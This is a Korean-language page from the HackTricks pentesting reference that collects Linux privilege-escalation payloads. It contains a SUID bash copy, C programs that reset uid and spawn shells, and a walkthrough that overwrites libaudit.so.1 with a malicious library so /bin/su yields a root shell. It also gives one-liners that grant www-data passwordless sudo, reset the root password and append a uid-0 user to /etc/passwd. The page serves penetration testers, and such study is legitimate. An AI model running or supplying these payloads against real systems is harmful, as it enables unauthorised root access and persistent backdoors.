์‹คํ–‰ํ•  ํŽ˜์ด๋กœ๋“œ

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๋ฐฐ์‹œ

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

C

//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}

๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•œ ํŒŒ์ผ ๋ฎ์–ด์“ฐ๊ธฐ

์ผ๋ฐ˜ ํŒŒ์ผ

  • _/etc/passwd_์— ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์žˆ๋Š” ์‚ฌ์šฉ์ž ์ถ”๊ฐ€
  • _/etc/shadow_์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ
  • _/etc/sudoers_์— ์‚ฌ์šฉ์ž ์ถ”๊ฐ€
  • ์ผ๋ฐ˜์ ์œผ๋กœ /run/docker.sock ๋˜๋Š” _/var/run/docker.sock_์— ์žˆ๋Š” ๋„์ปค ์†Œ์ผ“์„ ํ†ตํ•ด ๋„์ปค ๋‚จ์šฉ

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฎ์–ด์“ฐ๊ธฐ

์–ด๋–ค ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ๋Š” /bin/su:

ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

์ด ๊ฒฝ์šฐ /lib/x86_64-linux-gnu/libaudit.so.1๋ฅผ ๊ฐ€์žฅํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ su ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํ•จ์ˆ˜๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

๊ธฐํ˜ธ audit_open, audit_log_acct_message, audit_log_acct_message ๋ฐ audit_fd๋Š” ์•„๋งˆ๋„ libaudit.so.1 ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ์˜จ ๊ฒƒ์ž…๋‹ˆ๋‹ค. libaudit.so.1์ด ์•…์„ฑ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์˜ํ•ด ๋ฎ์–ด์“ฐ์—ฌ์ง€๊ธฐ ๋•Œ๋ฌธ์—, ์ด๋Ÿฌํ•œ ๊ธฐํ˜ธ๋Š” ์ƒˆ๋กœ์šด ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์กด์žฌํ•ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ๊ธฐํ˜ธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†๊ณ  ์ข…๋ฃŒ๋ฉ๋‹ˆ๋‹ค.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

์ด์ œ ๋‹จ์ˆœํžˆ **/bin/su**๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ๋ฃจํŠธ๋กœ์„œ ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์Šคํฌ๋ฆฝํŠธ

๋ฃจํŠธ๊ฐ€ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‚˜์š”?

www-data๋ฅผ sudoers์— ์ถ”๊ฐ€

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

๋ฃจํŠธ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ

echo "root:hacked" | chpasswd

/etc/passwd์— ์ƒˆ๋กœ์šด ๋ฃจํŠธ ์‚ฌ์šฉ์ž ์ถ”๊ฐ€

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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